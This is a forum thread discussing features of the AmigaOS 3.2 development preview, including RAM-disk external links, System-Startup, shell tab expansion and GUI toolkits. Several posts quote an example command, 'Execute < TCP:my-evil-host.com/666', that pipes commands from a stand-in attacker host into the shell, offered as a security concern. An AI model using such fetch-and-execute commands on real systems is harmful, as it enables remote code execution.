Os 3.2 development preview

[Matt_H]

I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?

Yup. The 3.1 prefs and GUIs in general were never font sensitive. Hardcoded topaz.8.

Yeah, just went back and confirmed on a 3.1 system. Funny, I could have sworn there was an OS release from C= that was font-sensitive. Must have been mixing it up with a later version. At any rate, thanks for finally making this happen!

[Matt_H]

Will this allow the use of environment variables in the Workbench title?

That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.

It looks like the titlebar variable feature is backported from OS4. If I recall, one of the optional variables is the system time, so a clock should be possible, although I don't have my OS4 machine in front of me to check. Personally, I use DOpus4 in window-iconified mode to provide a clock on my systems.

This does tie into a related discussion about how to add more complex functionality to the titlebar. Perhaps a new API is in order, similar to MorphOS's screenbar modules, although maybe that's a discussion for Release 3.3 or later.

[Matt_H]

All sorts of fun speculating in this thread!

I'm curious about the new GUIDES: assign. My first thought was that it was a new system-wide AmigaGuide-based help feature, but then wondered why that wouldn't have just been part of HELP:. Would like to know more

And based on the backdrop it looks like image tiling has returned to WBPattern prefs.

Another feature request: an official prefs editor for the WB Tools menu whose settings can be read by workbench.library/LoadWB directly (so that an additional tool in WBStartup isn't necessary).

[guest11527]

* Soft-link from RAM:Env to ENVARC: - how clever is that? Will it not just result in all "Use" acting as "Save"? And how is that different from "Assign ENV: ENVARC:"? (I prefer env-handler myself)

That is *NOT* a soft link. Note that there is no "SOFT" argument. Actually, it is a new feature you have found. It is an "external link", a new type of link category the RAM-disk supports. Essentially, it means the following: As soon as a program accesses ENV:x (or some sub-directory), the RAM-disk dynamically resolves the "external link" by pulling in the file from the link target. If you want to say so, this is "copy on access". It does not require a specialized handler for that, RAM: can do it itself.

* All those ">NIL:" on Assign are rather redundant, and hide error messages on "broken systems" - a successful Assign is quiet.

That is pretty much copied over from my installation, and we haven't changed these lines. Indeed, the >NIL: is not quite right here.

* Is L:System-Startup a text file with paths to all the modules you wish to load?

Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

* Is AssignWedge now "official"? If so, why not make it redundant?

It is a new optional system component. dos.library provides a "hook entry" that is populated by this component. So, this is no longer a patch all over the dos.library, it is just a single slot that is called whenever dos cannot find a handler. This is by Chris Euler who kindfully provided this new component.

* netprt.device - interesting... official? If so, what other "IPv4 aware" components are there in the OS?

Nope, that's just a dummy, there is no net support per se. Just that you can select where the printer.device should print to.

* I never grasped why some commands are referred to with full path, and some not, in Startup-Sequence... "C:Mount", but just "BindDrivers"

I don't know either. This is copy/paste from the original startup.

* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.

That is how it is also done in 3.1. Everything you put there is executed during startup. Except that we don't need a temporary file for it anymore.

* " | Execute", while handy (and so trendy, in these times of "cloud computing" and "curl | sh") , may also open a can of worms. It will now be possible to do funny things like "Execute < TCP:my-evil-host.com/666" (maybe even without redirection?) if TCP: is mounted.... exciting!0.2) certainly does nothing usefull with ^r other than "bell"

Well, if you want a secure system, AmigaOs is probably not exactly your Os in first place. And whether you type "Execute < TCP:my-evil-host.com/666" or "Execute TCP:my-evil-host.com/666" does not make a difference security-wise. However, it saves the shell from creating some temporary in T: and then execute this. It can directly go through the pipe.

BTW, the pipe handler mount entry is already created by System-Startup (same as port-handler), so there is no need to mount it to be able to use it in the startup-sequence.

[wiser3]

Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?

Yes, more BOOPSI please. Greatly preferred over ReAction.

* Is L:System-Startup a text file with paths to all the modules you wish to load?

Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

Awesome! Eventually, once you're essentially replacing everything i'd prefer a new ROM. Hmmm.... would this feature also mean we're no longer limited to available addressing space of the ROM's?

So far, most of what i see is geared towards hard core shell users, which the average person is not.

More BOOPSI would help developers.

Most of todays users need:
Networking to exchange files with the internet and their PCs. (a big project)
Built in lha and zip support to handle file archives once transfered.
Easy GUI methods to launch favorite applications/games/demos.
...hmmm, gotta be more but i'm sleep deprived at the moment.

[Matt_H]

Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?

Yes, more BOOPSI please. Greatly preferred over ReAction.

On that same line, Commodore also had two packages of v42 datatypes that never made it into the OS. Granted, they're for formats now largely obsolete, but it would be nice to fold them back into the official source tree.

I'm looking at the uncompleted features originally planned for 3.1 and wondering how many have not already been addressed in 3.1.4 that would still make sense to complete. There's label.image and a new cycle.gadget on the BOOPSI front that never made it out of Commodore HQ. The 1993 DevCon notes also detail planned directions for the UI, of which those BOOPSI classes were the beginning. Would it make sense to continue down that path?

Most of todays users need:
Networking to exchange files with the internet and their PCs. (a big project)

Possibly not as big as you think. I've been an advocate of Commodore's Envoy for years, which is an extremely lightweight and extremely Amiga-like way to do LAN filesharing. If the devs could acquire Envoy and extend it with a hypothetical smb.service, that would allow filesharing from PCs much more easily than the current challenge of setting up an obsolete/incompatible Samba server.

Built in lha and zip support to handle file archives once transfered.

3.5+ did this with Unarc and XAD, but I'm wondering if there's a more lightweight way to do this without reinventing the wheel.

Easy GUI methods to launch favorite applications/games/demos.

Other than the prefs editor for the WB Tools menu I mentioned in a previous post, I'm not sure this is necessary as an OS-level feature.



Even as we're daydreaming about features, it's important to remember the scope: this is an OS for relatively low-spec machines. What absolutely needs to be part of the OS, what might be relegated to some sort of official add-on, and what should just be a regular tool distributed via other means like Aminet? I trust Thomas and co. have that all in mind.

[Gulliver]

Will this allow the use of environment variables in the Workbench title?

That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.

It looks like the titlebar variable feature is backported from OS4. If I recall, one of the optional variables is the system time, so a clock should be possible, although I don't have my OS4 machine in front of me to check. Personally, I use DOpus4 in window-iconified mode to provide a clock on my systems.

This does tie into a related discussion about how to add more complex functionality to the titlebar. Perhaps a new API is in order, similar to MorphOS's screenbar modules, although maybe that's a discussion for Release 3.3 or later.

Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.

Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.

[Matt_H]

Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.

Interesting, thanks for that clarification. Even if the variable isn't present in the library, this feature does at least offer the possibility of a workaround - if another program can spit out the time to ENV:currenttime couldn't you pull it from there?

Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.

Oh yeah, very much aware of that, and very grateful for the time you guys are able to put in!

[Gulliver]

Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.

Interesting, thanks for that clarification. Even if the variable isn't present in the library, this feature does at least offer the possibility of a workaround - if another program can spit out the time to ENV:currenttime couldn't you pull it from there?

Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.

Oh yeah, very much aware of that, and very grateful for the time you guys are able to put in!

Current implementation of the title bar feature is extremely recent, so it is still under construction and all of its features cannot be fully tested at the moment.

But yes, enviroment variables are usable and you should be able to perform all kind of cool tricks with them, including the one you mention.

[Minuous]

@Matt_H, wiser3:

>Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?

With the exception of led.image, they all have ReAction equivalents which are considerably better.

>Yes, more BOOPSI please. Greatly preferred over ReAction.

ReAction is a set of standard BOOPSI classes, so that statement doesn't really make sense.

>There's label.image and a new cycle.gadget on the BOOPSI front that never made it out of Commodore HQ.

ReAction has label.image and chooser.gadget.

>The 1993 DevCon notes also detail planned directions for the UI, of which those BOOPSI classes were the beginning. Would it make sense to continue down that path?

Yes, it would. ReAction is that path.

[Ball000]

Can you spot it?

It may look like tab completion is there, <tab tab> output commands starting with A?

That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

Can you please explain what are the differences between the two, and the pro/cons of shell or console doing it? I guess I read between those lines that it's better if the shell does it?

[guest11527]

Can you please explain what are the differences between the two, and the pro/cons of shell or console doing it? I guess I read between those lines that it's better if the shell does it?

The current model you see in ViNCed and other consoles is that "the console does it". In other words, the console assumes/hopes/is configured to know that a shell is running in its window, then peeks the shell structures (struct CommandLineInterface), all hoping that this doesn't change under its feed, then uses the information it has in its buffer, then parses the line it currently has, performs a search, and inserts the result back. So the shell is not involved.

In the second case, the shell configures the console that it likes to receive TAB expansion requests. If TAB is pressed, the Shell retrieves a CSI-sequence at its input stream that indicates the patterns the user wants to expand, performs the expansion, and inserts the input back into the console. So the shell uses its own structures, its own knowledge and its own data to perform this step.

The difference is that in the first model the console has to make a couple of assumptions: It needs to find out that it is really a shell running, it needs to assume a specific syntax for the input, and it has to use structures of the shell that are not really part of the console data structures. So this is not only questionable from an architecture point of view - it couples two independent system components - it also requires the console to guess how the shell syntax looks like. Unfortunately, the Amiga shell syntax is messy (asterisk-rules, double-quotes, variables... a pile of inconsistencies), so the console would have to re-implement all of this. Worse, TAB expansion would not work on any other shell whose syntax is different.

Here, instead, everything is now at the shell: The shell knows (of course) its own syntax and its own rules, how to scan the path, which data goes into the history and what not... and so on. So it is decouples the two components and makes them accessible for independent development.

If you look into other system, Linux for example, you find the same arrangement of how the work is split: The console reads the keycodes, the shell does the TAB expansion. The only difference is that the Linux console is switched into raw-mode, and all the line-editing functions you have under linux are implemented by the shell (where they don't belong either, editing is the job of the console).

With the current model in 3.2, line editing (or full screen editing, for ViNCEd) remains at the console, but TAB-expansion and history go to the shell. So the shell does what the shell knows best, and the console does whatever the console can do best.

3.2 also comes with a new (minimal) AUX-Handler, so TAB expansion also works over the serial line if you want to.  Almost automatically, as said, it's the shell doing this, not AUX:

[kolla]

That is *NOT* a soft link. Note that there is no "SOFT" argument.

I did, but with RAM: and ENVARC: being on different devices, and a "FORCE" being used, one could only assume that this is a soft-link. And in a way it is.

Actually, it is a new feature you have found. It is an "external link", a new type of link category the RAM-disk supports. Essentially, it means the following: As soon as a program accesses ENV:x (or some sub-directory), the RAM-disk dynamically resolves the "external link" by pulling in the file from the link target. If you want to say so, this is "copy on access". It does not require a specialized handler for that, RAM: can do it itself.

Meh - so instead of using a dedicated handler that can do one thing and do it well, you have now lumped this into ram-handler that already have enough of things it doesn't do all too well... and couple it with another thing that never really worked so well with AmigaDOS - links. Bravo. What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do? Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too? It already struggles with regular soft links (as does C:Delete and others, you cannot delete a soft-link that points to a target that doesn't exist - for example) - Are you sure this is really a good idea?

Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

Obvious question that come up...
- will this work on plain 3.0/3.1 kickstarts? It wold be a major plus, IMO, if it does, so noone need to buy any new ROM, and can continue to use old ROMs when booting to floppy etc.
- will modules that have been loaded by System-startup survive reboots as if they were loaded with LoadModule, and hence be in place immediately next time one boot without startup-sequence?

* Is AssignWedge now "official"? If so, why not make it redundant?

It is a new optional system component. dos.library provides a "hook entry" that is populated by this component. So, this is no longer a patch all over the dos.library, it is just a single slot that is called whenever dos cannot find a handler. This is by Chris Euler who kindfully provided this new component.

Cool, so now anyone can write system clean "AssignWedge" clones using whatever GUI toolkit they like, or plug it to an event daemon that can have predefined actions and whatever...  nice.

* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.

That is how it is also done in 3.1. Everything you put there is executed during startup. Except that we don't need a temporary file for it anymore.

I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.

Well, if you want a secure system, AmigaOs is probably not exactly your Os in first place.

I am perfectly aware of this, I am much more likely to exploit this feature than to be a victim of it - just saying

And whether you type "Execute < TCP:my-evil-host.com/666" or "Execute TCP:my-evil-host.com/666" does not make a difference security-wise. However, it saves the shell from creating some temporary in T: and then execute this. It can directly go through the pipe.

Not only that - it saves a "hacker" from having to go through steps of downloading a file (type tcp:whatever/port to t:file) and then execute that file, now it can all be done in just one command. I am looking forward to see how this alters the attack angle for the Amiga Web Browsers (some of which allow executing of system programs from within HTML).

Does the new Execute wait for EOF, or does it execute commands after each EOL?

[Rotzloeffel]

Yes, it would. ReAction is that path.

It is your choice! 3.2 will have both.....

[guest11527]

I did, but with RAM: and ENVARC: being on different devices, and a "FORCE" being used, one could only assume that this is a soft-link. And in a way it is.

Not really. A softlink would overwrite the link target upon resolution of the link. This is not what it does. Actually, for the entire system except RAM: it looks like creating a hard link, and like a regular directory afterwards.

Meh - so instead of using a dedicated handler that can do one thing and do it well, you have now lumped this into ram-handler that already have enough of things it doesn't do all too well... and couple it with another thing that never really worked so well with AmigaDOS - links. Bravo.

The main motivation was to remove duplicate code. All HappyEnv variants had to replicate a lot of code, fell into the same pitfall RAM: once did (ACTION_EXNEXT implementation), had to re-implement a couple of exotic features such as notification and so on... This is now all in one code. Actually, as far as RAM: is concerned, it is only one small module that came to the RAM sources.

What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do?

The same it would do on all the HappyEnv variants. Examine() and ExNext() lists only what is there, but not what could be there. So you see the current contents of ENV: Copying to ENV: is as copying to any other directory of RAM: It is just that, RAM:, so you can also place files in there. You can also "overwrite" some potential link targets, i.e. what is already present will not be resolved.

Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too?

Copy doesn't know anything about this being a link. It looks like an ordinary directory from the outside. List doesn't know anything about this being a link. It is just a regular directory for everything outside of RAM:

It already struggles with regular soft links

No, it doesn't. It just creates a softlink to the original link target in the target directory of the copy operation.

(as does C:Delete and others, you cannot delete a soft-link that points to a target that doesn't exist - for example) - Are you sure this is really a good idea?

Yes, I'm really sure this is a good idea. I'm really sure that avoiding code duplications is a good idea, and minimal extensions are a good idea.
And I'm really sure you want to complain about. I don't mind, you know that.

Obvious question that come up...
- will this work on plain 3.0/3.1 kickstarts?

Why would it? No, of course not. This is a 3.2 system component.

- will modules that have been loaded by System-startup survive reboots as if they were loaded with LoadModule, and hence be in place immediately next time one boot without startup-sequence?

This is not a "make my modules resident" component. It is a "replace ROM components by RAM components". This has nothing, absolutely nothing to do with LoadModule. It just loads modules from disk into RAM, and replaces modules on the exec modules list. If you reboot, the modules are gone, and System-Startup loads them again. If you want to make things reset-resident, LoadModule will continue to work.

I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.

Then don't use it. I have DEVS:Monitors/Startup, and only load those in this directory. But this is not how the standard system was setup, so I left it as it always was.

I am perfectly aware of this, I am much more likely to exploit this feature than to be a victim of it - just saying

If someone from outside can execute commands such as EXECUTE on your system, then EXECUTE is your least problem. FORMAT is a problem. COPY is a problem. DELETE is a problem. Actually, the problem is the whole AmigaOs system.

Does the new Execute wait for EOF, or does it execute commands after each EOL?

Execute never executed anything to begin with, so this question does not apply if you take it literally. Execute is only an input-redirection of the shell. And no, the shell scripting rules did not change - what for?

[kolla]

Yes, it would. ReAction is that path.

It is your choice! 3.2 will have both.....

What do you mean with this? Both what? Reaction and... GadTools? Or are you saying Reaction will be there, and that for any program using Reaction classes, there will be an equivalent that doesn't - and vice versa? If so, that sounds like maintenance overhead. On the other hand, if it means the GUI components of the OS programs are decoupled from their functionality, and that for every OS program there will be both a Reaction GUI and a plain GadTools GUI, and the possibility for anyone to write a GUI for it in MUI, BGUI, GTLayout or whatever, even a TUI and/or ARexx interface for interaction... then that would be very cool.